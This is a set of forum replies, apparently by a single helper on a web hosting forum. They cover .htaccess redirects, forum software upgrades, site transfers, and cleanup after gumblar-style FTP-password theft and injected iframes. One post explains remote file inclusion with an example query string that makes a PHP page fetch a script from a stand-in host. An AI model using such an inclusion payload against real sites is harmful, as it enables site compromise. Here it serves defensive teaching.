SteveW

Secunia.com maintains a searchable security vulnerability database for various scripts. Here is their report for WordPress, and you can look up any others you have questions about: http://secunia.com/advisories/search/?search=wordpress . Also you can do a web search on the name of a script to see if people say bad things about its security. 755 is correct for cgi. It is the minimum permissions possible, while still allowing it to be run. I would add to the general best practices: use continuous (real-time) protection antivirus software on your PC. The current epidemic of website hacks, called "gumblar" or "martuz" actually originates on the webmaster's PC. It steals FTP passwords, logs into the site, and modifies files to inject invisible iframes with malware contents.

I'm not familiar with how Fantastico does its upgrades because I've always done them manually, but SMF 1.1.7 had a bug that had to be fixed manually before subsequent upgrades could work. Maybe that's what Fantastico got messed up by. There's a description of the problem and steps for repair toward the end of the thread at http://www.totalchoicehosting.com/forums/i...showtopic=37108.

Some other potentially conflicting lines in .htaccess are ones starting with Redirect such as RedirectMatch. It would help if you could post all the lines having to do with Rewrites and Redirects in the order they appear in the file, and omitting other .htaccess contents containing any private data. Is your entire website within /myblog/? No pages in public_html, no images in a folder such as /images/, nothing? What blog software, if any, are you using? Is the "Redirect Loop" error message one from Firefox saying something like, "FF has detected that the series of redirects will never end...?" Does it give you any other messages, such as the redirects that are being done? This FF add-on called Live HTTP Headers would give you some useful troubleshooting data: https://addons.mozilla.org/en-US/firefox/addon/3829. It shows the server's response headers as the page loads, so you get to see what redirects are being made.

I tried a similar set of rules in Apache2.2 here on my PC, and the initial redirect (of the page) works just as it should, but the page I'm redirecting to contains images, and all those get redirected, too. It doesn't result in an infinite loop, but the images don't display, with a red X where they should be. Hadn't thought of that. Sorry mycat2, in the next section between the dashes, I was confused between the original question and your later question. It might still contain useful info for someone, but maybe not for your situation: ---------- Going back to the original question, that's actually more specific (from one specific page to another specific page) than what the question has evolved into (from any page of the main site to the blog index), so let's try doing the more specific one. This redirect your home page: RewriteCond %{REMOTE_ADDR} ^111\.222\.333\.444$ RewriteCond %{REQUEST_URI} ^/(index\.htm)?$ [NC] RewriteRule ^.*$ hxxp://www.mywebsite.com/myblog/ [R=301,L] If the index page for your blog really IS called index.htm, then the code can be: RewriteCond %{REMOTE_ADDR} ^111\.222\.333\.444$ RewriteCond %{REQUEST_URI} ^/(index\.htm)?$ [NC] RewriteRule ^.*$ hxxp://www.mywebsite.com/myblog/index.htm [R=301,L] If you still get an infinite redirect loop, consider the possibility of other rewrite code in your .htaccess that is either interfering with this or interacting with it. Look for other lines in other code blocks starting with Rewrite: RewriteCond, RewriteRule, RewriteMatch... ---------- mycat2, can you describe exactly what page(s) you want to redirect to what other page. A URL ending with "/" isn't a page. What pages on your site are people going to, and which pages do you want to redirect them to?

Yes, that looks right, except for one important thing I missed before: it will create an infinite loop. I'll consider that last. First, here's some other info... Here's a way you can test rewrites only on yourself, without affecting other site visitors. Change the 111.222.333.444 to your IP address: RewriteCond %{REMOTE_ADDR} ^111\.222\.333\.444$ RewriteCond %{HTTP_HOST} ^(www\.)?mywebsite\.com$ [NC] RewriteRule ^.*$ hxxp://www.mywebsite.com/myblog/ [R=301,L] Is it ok that it always redirects to the same page regardless of what the original request was? In other words, no matter what page a visitor requests in mywebsite.com, they will always be sent to your blog's home page. It will be impossible for them to go directly to any page other than your blog's home page. If that's not ok, we can try to deal with that later. The second problem is that the new, redirected, request also goes to mywebsite.com, so it will invoke the rewrite rule again, and again, in an infinite loop. The server imposes a limit of 20 redirects, so eventually it will stop and no page will be served. A serious problem, obviously. We need to prevent the redirect when the page requested is already in /myblog/. I think this might do it: # This condition says "...and the requested URL does not contain the string "/myblog/" RewriteCond %{REQUEST_URI} !^.*/myblog/.*$ [NC] However, all requests will be to mywebsite.com, anyway, so that test is unnecessary and can be omitted. All together: RewriteCond %{REMOTE_ADDR} ^111\.222\.333\.444$ RewriteCond %{REQUEST_URI} !^.*/myblog/.*$ [NC] RewriteRule ^.*$ hxxp://www.mywebsite.com/myblog/ [R=301,L]

I would change your two Cond lines to this one line, which accomplishes the same thing. (www\.)? means with or without "www.". This also specifies that case is not significant [NC], and adds required backslashes because this is a regular expression: RewriteCond %{HTTP_HOST} ^(www\.)?mywebsite\.com$ [NC] This line should not have the backslashes because it is not a regular expression. RewriteRule ^.*$ "http\:\/\/www\.myblog\.com\/main\/" [R=301,L] It should be this (except that you need to change hxxp to http): RewriteRule ^.*$ hxxp://www.myblog.com/main/ [R=301,L] Together they would be: RewriteCond %{HTTP_HOST} ^(www\.)?mywebsite\.com$ [NC] RewriteRule ^.*$ hxxp://www.myblog.com/main/ [R=301,L] Although this fixes technical errors, it still might not accomplish what you want. Regardless of what page was requested, it will redirect all requests to the (same) single page at /main/. It makes no provision for choosing among different pages within /main/ based on what page was originally requested.

The reason I give AVG free a thumbs down is that on several active forums where I follow security-related posts, I've seen reports where people have later found viruses on their PCs even though they were using an AV program, and in some cases their sites were hacked because a virus planted spyware on their computer. So many of these people said they had been using AVG free that it became a predictable pattern. No other AV program has been mentioned often enough in this context that such a pattern emerged. Actually, at the moment I can't recall any other AV program being mentioned in that context at all, so I've come to consider AVG as the worst of the lot, especially against password-stealing Trojans. I can't claim that opinion is completely up to date; even if they've improved, it will take a lot longer to notice that the pattern isn't there anymore than it was to form the opinion in the first place. ----- After all that, I think I just figured out why you are getting these requests. Will send you a PM with details that I don't want to post publicly.

When you request hxxp://yoursite.ca/ without specifying a page, your server looks to see which page to serve. It looks for index.html, index.htm, index.php... Whichever one it finds first, it serves. Whichever page you want it to serve when no page is specified in the request needs to have one of those names. What is the name of your "under construction" page? The solution is probably to simply rename it to index.html. This isn't related to the site compromise or Google diagnostics. It's how Apache is configured to work. People can only request files from your server. If they don't specify one, Apache uses its own judgment, based on its configuration, about which one to send. ----- If you were using an old MT version, and weren't using any other third-party scripts, a security vulneratility in MT would be the likely suspect for how the hack occurred. If you don't plan to use MT anymore, be sure to uninstall it: remove the program itself from the server. This is because even if it's not being used, the security hole exists as long as the program files are there. You can optionally delete its folder, too. Also from what Thomas said, ensure that cgi-bin (and all folders) contain no files put there by the hack, and ensure that your .htaccess, if you have one, doesn't contain any code redirecting visitors to sites other than yours. They make money by installing Windows exploits on visitors' PCs, stealing information, and using it in identity theft schemes and things like that. It's big business. What website owners can do to stop them is: Use strong, long, random passwords and never reuse passwords in more than one place. Keep all website scripts (MT, WordPress, etc.) up to the latest versions. When a new version comes out, install it within one day, if at all possible. Keep your PC free of viruses. This is more important now than ever. A virus on your PC can lead to your remote website getting hacked. About 10,000 websites a day experience this.

If that request is copied from your HTTP access log, it is ridiculously malformed. The requests as reported in the access log start at public_html, but even that part is omitted, so they start from "/". So in other words, while /home/******/public_html/ isn't inconceivable as a legitimate path internally on the server, it wasn't the correct one for requesting a file through Apache by HTTP, and following it with the server name is absurd because by that point they've already reached the server, and following it with a 2nd instance of your userID is just as absurd. It's like trying to go to a file on your PC: "C:\Documents and Settings\Owner\C:\My Documents\..." It's a meaningless path that couldn't possibly result in success. When I see things like this (especially when the IP traces to an ISP), I sometimes guess that it's a user's PC that has got virus-infected and is now being hijacked to send out hack attacks or DDoS attacks on websites. 1. I think you correctly identified the one issue of concern, how they obtained your userID. I went through the source code of some of your site pages to see if it might be exposed anywhere by accident, but didn't find anything. More about this later. 2. I did find some indication that you have a /graphics/ folder. Maybe the bot was just using it to paste together junk URLs. Also, some bots are dumb and can't construct a path properly even if they technically have the info that would allow creating it properly. Even some browsers seem to do the same, based on things I see in my logs: requesting the wrong files from the wrong folders even when the hyperlinks in the source code are unquestionably correct and followed correctly by all other browsers. 3. The other question is that although it's easy to identify the server you're on, it is mysterious why anyone, automated or manual, would bother to do so for putting together requests like this. No professional hacker or hacking organization would bother with this sort of thing. Thus, it could be two people trying to find a way to hack your site. However, if this is the case, they are utterly incompetent and not worth the trouble of worrying about. There are plenty of script kiddies and hacker wannabes in the part of the world those requests came from. 4. If it were me, I would not worry about this incident, except as discussed below. Do watch your logs, as you have been doing, for any signs giving a clearer indication what these people are up to, if anything. 5. A web search didn't turn up any reason for that particular gif name to be of any interest (i.e. it isn't used by any common software, so it couldn't be used to determine if you're running WordPress, or something like that). Probably just a random choice of file name. If you have a file by that name, but not in that folder, that's probably where they got the name. One thing that could conceivably obtain your userID and a partially correct path to use for trying to access your server would be spyware on your PC. There is a particularly bad exploit going around called gumblar or martuz. It infects PCs, then steals FTP logins, and uses them to hack the remote websites. If you actually had this virus, it would most likely have logged into your FTP account rather than trying this other stuff, but to be on the safe side I suggest doing a thorough antivirus/antispyware scan with a good AV program (not AVG free). I would ordinarily think attacks like this are automated, but going to the trouble of finding the name of your server and using it to create absurdly wrong URLs seems to point to humans who don't know what they're doing trying to play hacker. Obviously, the available info is limited, so I could easily be wrong. The 302 response is of some concern to me for other reasons. The file doesn't exist at that location, so the response should be 404. It's possible you are using a 302 to redirect 404's to your home page or something like that, but that's not a good practice. Search engines don't like it because it makes it impossible for them to tell which pages exist on your site and which don't. If they request 500 pages and get your home page for each of them, they can give you a duplicate content penalty for having 500 duplicates of the same page, and think you're trying to deceive them. A 404 should just be a 404. It can have a link to the home page, but it shouldn't redirect there automatically.

The bad iframes are definitely there. I tried to download and examine your home page, but my AV quarantines the file immediately, so I can't look at it. The threat is called Mal_Hifrm-3 by Trend Micro. If you submitted to Google to have the warnings removed, they won't be removing them until the iframes are gone. You'll need to remove the bad code manually, then find out how it got injected so the security hole can be closed. One of your page listings in Google SERPs mentions MovableType. The reason I tried to view your site was to see if you're actually using it. If so, this might be useful: http://secunia.com/advisories/search/?search=movable+type Often the way malware gets into a site is through outdated scripts. Another way that's increasingly common lately is by malware on the webmaster's PC stealing FTP passwords, so do a thorough antivirus and antispyware scan, just in case.

Is that the exact warning message? If not, can you post the exact wording and punctuation? And in what form are you seeing the message: in Google (or Yahoo) search results, or on an actual HTML page in your browser window, or as a popup window in your browser? If it's a warning underneath your site's links in search engine search results, the site has probably been compromised. If it's a page in your browser window (FF3 or IE8 only, not IE7 or lower or FF2 or lower) it's also likely a real compromise. If it's a popup window, it's most likely the result of a malware infection on your PC, especially if it says you should get "Antivirus XP" or any other antivirus program. That type of malware is called "rogue antivirus". Don't let it scan your computer; don't visit any website it says you should, and don't let it download anything.

There is an exploit called "gumblar" (aka "martuz") now at epidemic levels. It's a password stealing Trojan that infects a user's PC, gathers up FTP logins, and sends them to remote locations from which they are used to hack websites. This attack method has been around for a while, but it wasn't very common compared to the levels of RFI and SQL injection attacks, so best security practices could focus primarily on server security measures such as using strong passwords and preventing RFI and SQL injection. That's changing. Securing your PC with good AV software is now more important than ever for maintaining good website security. A virus on your PC can indeed cause your website to get hacked, and in this case they steal the passwords, which is equally easy whether the passwords are strong or not.

You might be past this issue by now, but some potentially useful info: I don't think a home directory backup includes the MySQL database, so if the malware is there (such as in the body of a forum post), all your files will test clean. If the malware is referenced in an iframe or fetched by javascript from a remote site, your files will likewise test clean because the malware is only referenced in the page code. The actual malware is fetched by the visitor's browser after your server has sent the page to them. Check your .htaccess for malicious redirects. Sometimes code is added that redirects visitors to a malicious page only if the referer shows that they came from Google or Yahoo search results. If you go to the site directly, as most owners would do, you get a clean page.

By switching to OpenDNS about a year ago, I may have resolved some strange recurring IE7 freezups, although it was only one of a number of solutions I tried in combinations, so was never completely sure what the cure was. At one point I tried using my ISP DNS server as the primary and OpenDNS as the secondary to serve as backup, but for some reason that didn't work well, so I just switched them both to OpenDNS.

I also greatly appreciate the quick and open communication. Coming to the forum and seeing the explanation allowed me to realize that a) TCH was aware of the issues and was working on it, b ) I didn't have to spend an entire day investigating all the possible causes myself, c) I didn't need to file a support ticket. I was saved all the worry and a lot of time, and knew the DDoS would eventually pass, and the helpdesk was saved at least one unnecessary "Are you aware of these issues" inquiry. Considering the severity of the attack, the disruption was remarkably well mitigated. In addition, the technical details provided were educational and interesting.

Is there a specific reason you're using the [PT] passthrough flag? If you don't do any subsequent processing that requires it, you could try removing it. RewriteEngine on RewriteRule \.x[ms]l$ http://bank.alexfung.info/loadxxl.php [NC,L] There are two potential sources of different behavior, The new PHP version, and Apache 1.3 -> Apache 2. You've reduced the PHP file to the bare bones, so differences in the new Apache might be the more likely cause. http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html

I found one of your forums and see that it's using 1.1.7. That update apparently created a problem that must be repaired manually for any subsequent updates to work. Please see http://www.simplemachines.org/community/in...?topic=278824.0. What you'll need to do specifically is: Go to cPanel and click on FileManager to launch it. Use the lefthand pane to navigate to the folder: /public_html/forums/Sources/ In the righthand pane, click on the Packages.php file to highlight it. At the top of the screen, click the Edit icon to open Packages.php for editing. Depending on your FileManager settings, you might automatically be switched to the editing window, or you might have to switch to its tab manually. [At this point it's a good idea to select and copy all the text from the file, and paste it into a file on your local PC. If anything goes wrong, you can copy and paste this original text back into the file on your server, and be back where you started.] In the FileManager editor... Scroll down about 3 or 4 PgDn's worth to find the lines (at approximately line 148) that say: >// Test install a package. function PackageInstallTest() { global $boarddir, $txt, $context, $scripturl, $sourcedir, $modSettings; checkSession('request'); Except you will probably find that your last line says: checkSession('get'); In that line, change the word get to request. At the top of the screen, click Save Changes. Now try going to your forum Admin area and see if the package manager works.

It seems like they must be getting a full page with some sort of content on it for their failed login attempts. If it's a 40KB page, 1 million requests would send out 40GB. Do your logs show a million requests? Yikes! By manually editing .htaccess (but don't do it if you use the FrontPage Extensions) and adding "deny from" lines, you can block entire ranges of IPs if necessary. http://httpd.apache.org/docs/2.2/mod/mod_authz_host.html In addition to blocking the IPs, you can specify that nothing, not even an error page, is sent out to "403 - Forbidden" requests. This line in .htaccess will do it. It says that a 403 Forbidden page will consist of a single space character along with the 403 response header, which will greatly reduce the bandwidth consumed by these malicious requests. The requester gets a blank page. Bandwidth reported for each request is 1 byte: ErrorDocument 403 " " I check cPanel > Latest Visitors at least once a day in an attempt to notice things like this. Bandwidth report and error report are two other places where they'd show up. I'm not sure where the bandwidth data is stored, but if it's within your website in a file readable by PHP, it might be possible to write a PHP script that would check periodically and send you an email if it's rising faster than some threshold. Alternatively, you could add a section of PHP to each page (such as in a header) that does your own tally of bandwidth (or even just the number of requests). Keep a data file with the running total. The PHP script would update the total either increasing it by 1 (number of requests) or by the size of that page (more involved). Then when a threshold is reached, it could send you an email and reset the totals to 0. You can verify what's happening at Latest Visitors. Also turn on log archiving so they aren't deleted every day. Then you can go through them sometimes to see what's been going on.

Simple Machines Forum SMF 1.1.9 and 2.0 RC1-1 security updates released. http://www.simplemachines.org/community/in...?topic=311899.0

The procedure I described is for transferring an entire website to a new server that doesn't yet have a website installed on it. Do you already have two fully configured and functioning websites, and you only want to copy your WordPress installation from one to the other? The procedure for that would be different. WordPress consists of a set of files (the WordPress PHP program and configuration files) and also a MySQL database. The files and the database are separate things stored in two different places, so you'd have to move them separately. Even if you might technically be able to do that directly from cPanel, the procedure would probably be way more complicated than it's worth. It's easier to use the procedure Thomas described: download the files and database to your PC and then upload them to your new server. On your old server, go to cPanel > Backups and download to your PC a backup of your WordPress MySQL database. On your new server, go to cPanel > Backups and upload the database backup you just got. Then you'll need to transfer the WordPress program and configuration files. You could probably use FTP to download the entire contents of the WordPress directory from the old site and then upload it all to the new site, but you'll need to carefully revise your configuration files for the new server. What I would probably do instead is download the latest WordPress version from the WordPress site, and install it fresh on the new server. There might be a time during the installation where you have to tell WordPress to use your old existing database rather than create a new one. I can't be very specific about what the installation will be like, as I've never used WordPress.

As Thomas said, TCH support can often do the transfer for you, but they have to initiate it from TCH, and there are some circumstances where the configuration of the other server won't allow it. In that case, you can do part of it yourself. It is basically the same, except you initiate it at your old host. Doing it from cPanel transfers the whole site, all of it, not just, for example, the WordPress installation, so it's basically for if you are moving or copying from the previous host to TCH. It's been a while since I did this, so use your judgment about whether it seems like you're seeing what I describe. On the old server, go to cPanel > Backups. Click "Download or generate a full web site backup". Backup destination will be one of the "FTP" options. Passive mode is for if the transfer fails due to blocking by a firewall. It looks like Remote Server will be the FTP address of your TCH server: ftp: // yoursite.com (without the extra spaces) Remote user is your TCH userID. Remote password is your TCH cPanel/FTP password. Port is 21. This is the standard FTP port. I'm not sure what Remote Dir should be. Hopefully someone else can comment. The choices are probably something like: / or blank (for your home directory) public_html or /public_html or /public_html/ for public_html It probably doesn't matter where you send the file because it can always be moved to a different folder after the transfer. I'm just not sure about the notation to use. A giant compressed .gz file will be transferred to your new TCH site. It contains your entire website, including files, databases, email addresses and configurations, email filters, etc. Log into your cPanel at TCH and use FileManager to find the transferred file. Note its name. Then file a support ticket at TCH. I believe it requires a system admin to properly unzip the file and use it to create your website. Tell them the location and name of the .gz file. When they did this for me, the transfer went flawlessly. Do go through your config files carefully, though. For example, every reference to the userID you had at your old host may need to be changed to your TCH userID (in any location where that didn't happen automatically).

Also see Secunia about PHPNuke http://secunia.com/advisories/search/?search=phpnuke. There was a new vulnerability found a couple of months ago. It is an "SQL injection" vulnerability that allows outsiders to inject data into a MySQL database. If you look in the text of your static code pages on the server and don't find the malicious code in the page, it could be that it's stored in the database and being retrieved by whatever process is getting data out of the db to build the output page. It's important to keep all scripts updated to their latest versions.

Look in your /public_html/.htaccess file for RewriteCond code that mentions search engine names and RewriteRule code that mentions names of sites other than yours, such as the europc site, or possibly a site that is identified only by IP address. If you find code like this, it is a common symptom of sites that have been compromised. When visitors go to your site from search engine results, they get redirected to the malicious site. If they go straight to your site, they don't get redirected. The .htaccess file would most likely have been changed by a malicious PHP script that the hacker "tricked" one of your .php web pages into running. It looks like many of your pages use input (query string) parameters such as "?name=Forums". When your script receives data by this way, it is important that it checks it carefully to guard against something called "remote file inclusion" <- a term to do a web search on. For example, if someone calls your page with ....filename.php?name=hxxp://someothersite.com/maliciousscript.txt, then your site, if your PHP code doesn't guard against it, will retrieve the malicious script and run it. You have to ensure that incoming values of "name" are only acted upon if they are legitimate values that you expect. Otherwise, the incoming data should be ignored. The above is the most common reason for this type of redirection. ----- It looks like you are using FlashChat. Look it up at http://secunia.com/advisories/search/. I know it has had some security vulnerabilities in the past, but I don't recall which ones or whether they are of a type that would be relevant to your current problem.

When it tells you that session verification failed, I think it's referring to your current login state at the forum, as a separate matter from the Admin area, package manager, etc. I've gotten that a few times, and it's never lasted very long. I can't remember how I resolved it, but I think the one thing I've never done is the one thing it suggests: log out and log back in. However, it is something to try. Also make sure you're not blocking cookies. The things I probably did were: 1) when you get that message, instead of doing something different, just refresh that same page, maybe even a few times, and 2) browse to a couple more pages. Then if you're not already logged in, try logging in. I'll go see what I can find in package manager about your other questions... Ok, localhost and port 21 are correct. Your username and password would be your cPanel/FTP ones, not your forum ones. So I suspect it should work ok once you get past the "session" issue. As I recall from posts in the SMF community forum, SMF only uses "sessions" (which are a substitute for cookies) for the first few pages you visit in the forum. So, before you try to log in or go to the Admin area, browse to several of your forum pages. ----- After you upgrade through package manager (outside Fantastico), Fantastico (when it learns that 1.1.8 is available) is going to complain and possibly send you an email that your SMF version isn't current. When you get that warning (but not before), use cPanel > File Manager to browse to public_html/forum (or your forum home directory). Find the file fantversion.php, and Edit it. You'll see that it's just a text file. Change the version shown to 1.1.8. That will make Fantastico happy. The reason you should not edit that file until you get Fantastico's warning is that it thinks the current version is 1.1.7. If you change it to 1.1.8 now, it will detect the mismatch and send you a warning. It's not smart enough to know that 1.1.8 is later than 1.1.7. It only knows that they aren't the same.

Maybe try Wget. It has a very complicated set of configuration options (took me an entire day to sort through them), which I think includes login capabilities. The config file has provisions for http and ftp passwords. Wget described at http://en.wikipedia.org/wiki/Wget Follow the link at the bottom of that page to Christopher Lewis's website to get the Wget version that I use in Windows XP. A comparable program may be cURL, but I don't know anything about that one.